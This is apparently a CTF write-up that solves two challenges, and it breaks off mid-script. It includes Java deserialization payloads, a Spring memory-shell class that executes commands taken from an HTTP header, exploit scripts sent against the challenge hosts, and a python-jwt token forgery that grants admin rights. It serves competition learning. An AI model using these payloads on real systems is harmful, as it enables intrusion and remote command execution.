ezjava

下载附件审计

有两个路由hello和myTest,在myTest出直接post传payload,然后进行无限制的反序列化。查看一下lib发现有commons-collections4.0依赖,这就很容易想到CC2或CC4链,直接用yso生成payload进行反弹shell。这里可能是由于一些特殊字符直接hackbar传没有用,所以用python传,但是没有反弹成功

本地测试一下payload对不对

jdk8u66

1
java -jar ezjava-0.0.1-SNAPSHOT.jar

测试的payload:

1
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGmsr+ur4AAAA0ADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTg4MjQ4NzA4NzA4NzAwAQAgTHlzb3NlcmlhbC9Qd25lcjE4ODI0ODcwODcwODcwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgAAAHUyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==

Untitled

本地windows环境下payload测试成功,因为不信邪自己还搭了一个docker环境放到云服务器上,发现反弹shell也是成功了的,说明只有一种可能就是题目不能出网,这样一下子就很难办了

最后经过各种信息搜集,发现可以利用Spring内存马进行回显

http://www.bmth666.cn/bmth_blog/2022/09/27/Spring内存马学习/#Spring内存马

https://www.anquanke.com/post/id/258575#h2-2

https://myzxcg.com/2021/11/Spring-内存马实现/

直接拿从万能的网络中找到的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ysoserial.payloads.evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilTest extends AbstractTranslet {

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public EvilTest() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
commands[0] = "cmd";
commands[1] = "/c";
}else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}

CC2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args)throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.payloads.evil.EvilTest").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","ameuu");

//创建TranformingComparator 实例
Transformer transformer = new InvokerTransformer("toString",null,null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);

//创建 PriorityQueue 实例
//readobject 入口
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
priorityQueue.add(obj);
priorityQueue.add(obj);

//修改调用方法为newTransformer,加载恶意类。
setFieldValue(transformer,"iMethodName","newTransformer");

ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

// //反序列化
// ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// Object o = ois.readObject();
// baor.close();

}
}

python上传,这里其实也卡了很久,直接上传的时候直接回显500然后再去请求头添加cmd之后并没有执行,感觉是没有成功,直到后来在自己测试的时候直接data和headers一起传发现居然成功了,不是很能理解(还是太菜了

exp:

1
2
3
4
5
url = 'http://39.106.13.71:18962/myTest'
data = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADnPK/rq+AAAANAC5CgAvAF8KAGAAYQoAYABiCABjCgBkAGUIAGYHAGcKAAcAaAcAaQoAagBrCABsCABtCABuCABvCABNCgAHAHAIAHEIAE4HAHIKAGoAcwgAUAgAdAoAdQB2CgATAHcIAHgKABMAeQgAeggAewoAEwB8CAB9CAB+CAB/CACACgAJAIEIAIIHAIMKAIQAhQoAhACGCgCHAIgKACQAiQgAigoAJACLCgAkAIwIAI0IAI4HAI8HAJABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5c29zZXJpYWwvcGF5bG9hZHMvZXZpbC9FdmlsVGVzdDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQABYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABbQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAm0xAQAEcmVzcAEAA3JlcQEACWdldFdyaXRlcgEACWdldEhlYWRlcgEABndyaXRlcgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2NoYXJzZXROYW1lAQANU3RhY2tNYXBUYWJsZQcAjwcAZwcAkgcAaQcAcgcAUwcAkwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDABCAEMHAJQMAJUAlgwAlwCYAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyBwCZDACaAJsBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAD2phdmEvbGFuZy9DbGFzcwwAnACdAQAQamF2YS9sYW5nL09iamVjdAcAkgwAngCfAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwEAC2dldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAHWphdmF4LnNlcnZsZXQuU2VydmxldFJlc3BvbnNlDACgAJ0BACVqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL1N0cmluZwwAoQCiAQAHb3MubmFtZQcAowwApAClDACmAKcBAAZ3aW5kb3cMAKgAqQEAA0dCSwEABVVURi04DACqAKcBAANXSU4BAAIvYwEABy9iaW4vc2gBAAItYwwAqwCsAQAHcHJpbnRsbgEAEWphdmEvdXRpbC9TY2FubmVyBwCtDACuAK8MALAAsQcAsgwAswC0DABCALUBAAJcQQwAtgC3DAC4AKcBAAVmbHVzaAEABWNsb3NlAQAgeXNvc2VyaWFsL3BheWxvYWRzL2V2aWwvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAt0b1VwcGVyQ2FzZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhAC4ALwAAAAAAAwABADAAMQACADIAAAA/AAAAAwAAAAGxAAAAAgAzAAAABgABAAAAEQA0AAAAIAADAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABADkAOgACADsAAAAEAAEAPAABADAAPQACADIAAABJAAAABAAAAAGxAAAAAgAzAAAABgABAAAAFgA0AAAAKgAEAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABAD4APwACAAAAAQBAAEEAAwA7AAAABAABADwAAQBCAEMAAgAyAAACwwAJAA0AAAF7KrcAAbgAArYAAxIEtgAFTCsSBgO9AAe2AAhNLAEDvQAJtgAKTrgAArYAAxILtgAFTCsSDAO9AAe2AAhNKxINA70AB7YACDoELC0DvQAJtgAKOgUZBC0DvQAJtgAKOga4AAK2AAMSDrYABRIPA70AB7YAEDoHuAACtgADEhG2AAUSEgS9AAdZAxITU7YAEDoIGQgEtgAUGQcEtgAUGQcZBQO9AAm2AAo6CRkIGQYEvQAJWQMSFVO2AArAABM6Cga9ABM6CxIWuAAXtgAYEhm2ABqZAAgSG6cABRIcOgwSFrgAF7YAHRIetgAamQASGQsDEhVTGQsEEh9TpwAPGQsDEiBTGQsEEiFTGQsFGQpTGQm2ACISIwS9AAdZAxITU7YAEBkJBL0ACVkDuwAkWbgAJRkLtgAmtgAnGQy3ACgSKbYAKrYAK1O2AApXGQm2ACISLAO9AAe2ABAZCQO9AAm2AApXGQm2ACISLQO9AAe2ABAZCQO9AAm2AApXsQAAAAMAMwAAAG4AGwAAABcABAAaABAAGwAbABwAJQAdADEAHgA8AB8ASAAgAFMAIQBfACIAdQAjAJAAJACWACUAnAAmAKkAJwC+ACgAxAApAN0AKgDtACsA8wAsAPwALgECAC8BCAAxAQ4AMgFKADMBYgA0AXoANQA0AAAAhAANAAABewA1ADYAAAAQAWsARABFAAEAGwFgAEYARwACACUBVgBIAEkAAwBIATMASgBHAAQAUwEoAEsASQAFAF8BHABMAEkABgB1AQYATQBHAAcAkADrAE4ARwAIAKkA0gBPAEkACQC+AL0AUABRAAoAxAC3AFIAUwALAN0AngBUAFEADABVAAAAOAAE/wDZAAwHAFYHAFcHAFgHAFkHAFgHAFkHAFkHAFgHAFgHAFkHAFoHAFsAAEEHAFr8ACAHAFoLADsAAAAEAAEAXAABAF0AAAACAF5wdAAFYW1ldXVwdwEAeHEAfgAReA=='
r = requests.post(url, data=data)
print(r.text)
print(requests.post('http://39.106.13.71:18962/myTest', data=data, headers={'cmd': 'cat /flag'}).text)

flag:

1
flag{18e4ba5e-7907-44f2-baba-2ac04b6787b4}

FunWEB

  • flask python-jwt

直接打开是登录注册界面,猜测可能有SQL注入,就是不知道环境是什么,先注册一个账号进去,发现有三个路由getFlag、graphql、logout

但是前面两个都需要admin登录,查看cookie发现有session和token,session是flask session,强行解密发现只是用来记录是否登录的。而token是jwt,会记录是不是admin,那么如果想成为admin那就是要找到秘钥了,但是完全没有思路该怎么去找到秘钥,打算从JWT攻击入手

把token放到jwt.io上看,发现是PS256加密,是非对称加密……

之后就卡了很久很久,甚至还成改成对称加密去爆破秘钥……

Untitled

python环境下的jwt,google到了https://github.com/davedoesdev/python-jwt,可以发现近期刚出一个CVE,还是关于token认证的,那这次的考点应该就是这里了

Untitled

直接查看详情,可以发现漏洞点是JWT解析器和jwtcrypto依赖不一致造成的,但还是有点不知道该怎么入手,

Untitled

查看commit,在最后有一个vulnerability_vows.py ,仔细审计一下可以发现这个就是用来测试漏洞是否修复成功的,那从另一方面来说我们就可以利用这和脚本伪造token

Untitled

直接将整个最新版的python-jwt从github上面拿下来,利用里面的test包构造exp,然后在环境里面安装python-jwt3.3.3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from datetime import timedelta
from json import loads, dumps
from fixtures import generated_keys
import python_jwt as jwt
# from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
import requests

def fakePayload(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
# print(topic)
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/'
a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg'
token = fakePayload(a)
r = requests.get(url + 'getflag', cookies={'token': token,
'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'})
print(r.text)

回显only currect password can readflag ,说明我们得拿到flag,而还有一个查看成绩的graphql路由可以进行grqphql注入

https://www.secpulse.com/archives/148242.html

https://graphql.cn/learn/queries/#variables

graphql注入查询到:

1
2
{'__type': {'name': 'Getscorebyid', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'id'}]}}
{'__type': {'name': 'Getscorebyname', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'userid'}]}}

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from datetime import timedelta
from json import loads, dumps
from fixtures import generated_keys
import python_jwt as jwt
# from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def fakePayload(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
# print(topic)
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['username'] = "admin"
parsed_payload['password'] = "i2Ip4m1Jx3iWMbtVRywc"
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/'
